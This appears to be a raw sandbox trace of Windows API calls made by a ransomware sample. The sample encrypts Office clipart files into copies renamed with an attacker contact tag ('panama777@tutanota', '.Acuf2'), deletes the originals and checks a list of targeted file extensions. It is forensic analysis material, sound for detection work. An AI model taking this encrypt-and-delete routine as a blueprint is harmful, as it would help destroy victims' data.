	[0256.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.124] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=20554) returned 1
	[0256.124] CloseHandle (hObject=0x33c) returned 1
	[0256.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20
	[0256.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.125] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.125] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0256.126] GetLastError () returned 0x0
	[0256.126] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x504a, lpOverlapped=0x0) returned 1
	[0256.127] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x5050, lpOverlapped=0x0) returned 1
	[0256.129] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.129] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.129] SetEndOfFile (hFile=0x28c) returned 1
	[0256.129] CloseHandle (hObject=0x28c) returned 1
	[0256.129] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.129] SetEndOfFile (hFile=0x33c) returned 1
	[0256.131] CloseHandle (hObject=0x33c) returned 1
	[0256.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1
	[0256.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.132] lstrlenW (lpString=".doc") returned 4
	[0256.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.132] lstrlenW (lpString=".docx") returned 5
	[0256.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.132] lstrlenW (lpString=".pdf") returned 4
	[0256.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.132] lstrlenW (lpString=".xls") returned 4
	[0256.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.132] lstrlenW (lpString=".xlsx") returned 5
	[0256.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.132] lstrlenW (lpString=".ppt") returned 4
	[0256.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.132] lstrlenW (lpString=".zip") returned 4
	[0256.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.132] lstrlenW (lpString=".rar") returned 4
	[0256.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.132] lstrlenW (lpString=".bz2") returned 4
	[0256.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.132] lstrlenW (lpString=".7z") returned 3
	[0256.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.133] lstrlenW (lpString=".dbf") returned 4
	[0256.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.133] lstrlenW (lpString=".1cd") returned 4
	[0256.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.133] lstrlenW (lpString=".jpg") returned 4
	[0256.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.133] lstrlenW (lpString=".doc") returned 4
	[0256.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.133] lstrlenW (lpString=".docx") returned 5
	[0256.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.133] lstrlenW (lpString=".pdf") returned 4
	[0256.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.133] lstrlenW (lpString=".xls") returned 4
	[0256.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.133] lstrlenW (lpString=".xlsx") returned 5
	[0256.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.133] lstrlenW (lpString=".ppt") returned 4
	[0256.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.133] lstrlenW (lpString=".zip") returned 4
	[0256.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.133] lstrlenW (lpString=".rar") returned 4
	[0256.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.134] lstrlenW (lpString=".bz2") returned 4
	[0256.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.134] lstrlenW (lpString=".7z") returned 3
	[0256.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.134] lstrlenW (lpString=".dbf") returned 4
	[0256.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.134] lstrlenW (lpString=".1cd") returned 4
	[0256.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63
	[0256.134] lstrlenW (lpString=".jpg") returned 4
	[0256.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.134] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.134] lstrlenW (lpString="BD09664_.WMF") returned 12
	[0256.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.134] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=7966) returned 1
	[0256.134] CloseHandle (hObject=0x33c) returned 1
	[0256.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20
	[0256.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.135] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.135] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0256.136] GetLastError () returned 0x0
	[0256.136] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1f1e, lpOverlapped=0x0) returned 1
	[0256.137] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1f20, lpOverlapped=0x0) returned 1
	[0256.138] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.138] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.139] SetEndOfFile (hFile=0x28c) returned 1
	[0256.139] CloseHandle (hObject=0x28c) returned 1
	[0256.139] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.139] SetEndOfFile (hFile=0x33c) returned 1
	[0256.142] CloseHandle (hObject=0x33c) returned 1
	[0256.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1
	[0256.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.142] lstrlenW (lpString=".doc") returned 4
	[0256.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.142] lstrlenW (lpString=".docx") returned 5
	[0256.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.142] lstrlenW (lpString=".pdf") returned 4
	[0256.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.142] lstrlenW (lpString=".xls") returned 4
	[0256.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.142] lstrlenW (lpString=".xlsx") returned 5
	[0256.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.142] lstrlenW (lpString=".ppt") returned 4
	[0256.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.143] lstrlenW (lpString=".zip") returned 4
	[0256.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.143] lstrlenW (lpString=".rar") returned 4
	[0256.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.143] lstrlenW (lpString=".bz2") returned 4
	[0256.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.143] lstrlenW (lpString=".7z") returned 3
	[0256.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.143] lstrlenW (lpString=".dbf") returned 4
	[0256.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.143] lstrlenW (lpString=".1cd") returned 4
	[0256.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.143] lstrlenW (lpString=".jpg") returned 4
	[0256.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.143] lstrlenW (lpString=".doc") returned 4
	[0256.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.143] lstrlenW (lpString=".docx") returned 5
	[0256.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.143] lstrlenW (lpString=".pdf") returned 4
	[0256.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.144] lstrlenW (lpString=".xls") returned 4
	[0256.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.144] lstrlenW (lpString=".xlsx") returned 5
	[0256.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.144] lstrlenW (lpString=".ppt") returned 4
	[0256.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.144] lstrlenW (lpString=".zip") returned 4
	[0256.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.144] lstrlenW (lpString=".rar") returned 4
	[0256.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.144] lstrlenW (lpString=".bz2") returned 4
	[0256.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.144] lstrlenW (lpString=".7z") returned 3
	[0256.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.144] lstrlenW (lpString=".dbf") returned 4
	[0256.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.144] lstrlenW (lpString=".1cd") returned 4
	[0256.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63
	[0256.144] lstrlenW (lpString=".jpg") returned 4
	[0256.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.144] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0256.144] lstrlenW (lpString="BD10890_.GIF") returned 12
	[0256.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.147] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=13515) returned 1
	[0256.147] CloseHandle (hObject=0x33c) returned 1
	[0256.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20
	[0256.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.147] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.147] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0256.148] GetLastError () returned 0x0
	[0256.148] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x34cb, lpOverlapped=0x0) returned 1
	[0256.150] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x34d0, lpOverlapped=0x0) returned 1
	[0256.152] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.152] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.152] SetEndOfFile (hFile=0x28c) returned 1
	[0256.152] CloseHandle (hObject=0x28c) returned 1
	[0256.152] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.152] SetEndOfFile (hFile=0x33c) returned 1
	[0256.627] CloseHandle (hObject=0x33c) returned 1
	[0256.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1
	[0256.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.628] lstrlenW (lpString=".doc") returned 4
	[0256.628] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0256.628] lstrlenW (lpString=".docx") returned 5
	[0256.628] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0256.628] lstrlenW (lpString=".pdf") returned 4
	[0256.628] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0256.628] lstrlenW (lpString=".xls") returned 4
	[0256.628] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0256.628] lstrlenW (lpString=".xlsx") returned 5
	[0256.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0256.628] lstrlenW (lpString=".ppt") returned 4
	[0256.629] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.629] lstrlenW (lpString=".zip") returned 4
	[0256.629] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0256.629] lstrlenW (lpString=".rar") returned 4
	[0256.629] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0256.629] lstrlenW (lpString=".bz2") returned 4
	[0256.629] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0256.629] lstrlenW (lpString=".7z") returned 3
	[0256.629] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.629] lstrlenW (lpString=".dbf") returned 4
	[0256.629] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.629] lstrlenW (lpString=".1cd") returned 4
	[0256.629] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.629] lstrlenW (lpString=".jpg") returned 4
	[0256.629] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.629] lstrlenW (lpString=".doc") returned 4
	[0256.629] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0256.629] lstrlenW (lpString=".docx") returned 5
	[0256.629] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0256.629] lstrlenW (lpString=".pdf") returned 4
	[0256.629] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0256.629] lstrlenW (lpString=".xls") returned 4
	[0256.629] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0256.629] lstrlenW (lpString=".xlsx") returned 5
	[0256.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0256.630] lstrlenW (lpString=".ppt") returned 4
	[0256.630] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0256.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.630] lstrlenW (lpString=".zip") returned 4
	[0256.630] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0256.630] lstrlenW (lpString=".rar") returned 4
	[0256.630] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0256.630] lstrlenW (lpString=".bz2") returned 4
	[0256.630] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0256.630] lstrlenW (lpString=".7z") returned 3
	[0256.630] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0256.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.630] lstrlenW (lpString=".dbf") returned 4
	[0256.630] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0256.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.630] lstrlenW (lpString=".1cd") returned 4
	[0256.630] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0256.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63
	[0256.630] lstrlenW (lpString=".jpg") returned 4
	[0256.630] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0256.631] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.631] lstrlenW (lpString="BL00194_.WMF") returned 12
